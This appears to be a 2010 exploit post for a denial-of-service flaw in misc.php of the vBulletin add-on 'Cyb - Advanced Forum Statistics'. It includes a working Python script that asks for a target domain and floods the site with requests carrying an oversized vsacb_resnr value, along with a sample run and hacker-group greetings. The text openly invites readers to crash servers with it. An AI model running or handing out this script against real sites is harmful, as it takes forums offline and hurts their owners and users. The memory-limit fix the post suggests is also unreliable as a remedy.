vBulletin (Cyb – Advanced Forum Statistics) – ‘misc.php’ Denial of Service
# Exploit Title: vBulletin "Cyb - Advanced Forum Statistics" DOS # Date: 10-4-2010 # Author: Andhra Hackers # Software Link: # Version: Web Application # Tested on: Apcahe/Unix # CVE : [if exists] # Code : PHP crashes existed from a long time back and there were several issues which were a reason for that. 1)PHP pack() function bug has been there for about a long time, were if PHP try to allocate more memory more than generally allocated to PHP function then the the request is terminated and PHP exits/Crashes, this might even send a huge load to the server. 2)PHP memory allocation is done via the php.ini file of PHP installation, So if we could make PHP try to load with more memmory than it could handle then we cold possibly crash php or even the server causing a huge CPU usage. 3)A vulnerability exist in vBulletin add-on "Cyb - Advanced Forum Statistics" in the misc.php file show=latestposts&vsacb_resnr=, were application loads all latest 'n' no of post depending on (vsacb_resnr= n) value. As no of post "vsacb_resnr" is user specific,that means we could make vBulletin to load huge no of datas from DB causing it to run out of memory and crash PHP and huge load may crash hosted apache also and won't be able to recover easily. Attached is exploit code which could easily crash a vBulletin which has got "Cyb - Advanced Forum Statistics" add-on installed. Either You could Use the attached exploit code to DOS the server or you could Simply move to the vulnerable page and sent simultaneous request by refreshing the page. An attacker could exploit this issue to crash the php installed and the crash might DOS the entire server for hours or attacker will be able to download php files from the server. A quick fix for this is to modify php.ini config file and increase the Php allocated memory to a higher value. Exploit: import urllib,urllib2,re print "####################################" print "#[+]ICW 0-day Domain Crasher #" print "#[+] Exploit found by Yash [ICW] #" print "#[+] Exploit Coded by FB1H2S [ICW] #" print "#[+] Care-Taker d4rk-blu [ICW] #" print "#[+] Indian Cyber Warriors #" print "####################################\n" print "Enter Domain Adress:" domain=raw_input("[+]Ex: www.site.com<http://www.site.com>:") url ='http://'+domain+'/misc.php?show=latestposts&vsacb_resnr=10000000' res = urllib.urlopen(url).read(200) phpmem= re.findall('of (.*?)bytes.*?',res) bytes=int(phpmem[0]) mb=bytes/1048576 print '[+]Server php memmory is:'+str(mb)+' MB' print "[+]Enter the No of request you wann send:" kill=raw_input("Some 20-30 will be enough:") try: for i in range(1,int(kill)): print i res1 = urllib.urlopen(url).read(200) print res1 except(IOError),msg: print "Server will be done by now" ################################################################ C:\Python25>python vbexploit.py #################################### #[+]ICW 0-day Domain Crasher # #[+] Bug found by Yash [ICW] # #[+] Exploit Coded by FB1H2S [ICW] # #[+] Care-Taker d4rk-blu [ICW] # #[+] Indian Cyber Warriors # #################################### Enter Domain Adress: [+]Ex: www.site.com<http://www.site.com>: sitehere [+]Server php memmory is:32 MB [+]Enter the No of request you wann send:20 1 2 3 Script will cause DOS. #Yash (yash@andhrahackers.com<mailto:yash@andhrahackers.com>) ################################################################################################# #Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors] #Thanks: SaiSatish,FB1H2S,d4rk-blu™,Mannu,Harin,Jappy,Dj Hoodlum Don,Sam,Circuit,cph4cker #Shoutz: hg_H@x0r,r45c4l,41w@r10r,Hackuin #Catch us at www.andhrahackers.com<http://www.andhrahackers.com> or www.teamicw.in<http://www.teamicw.in> # Thnx to FB1H2S for Python Code :-) |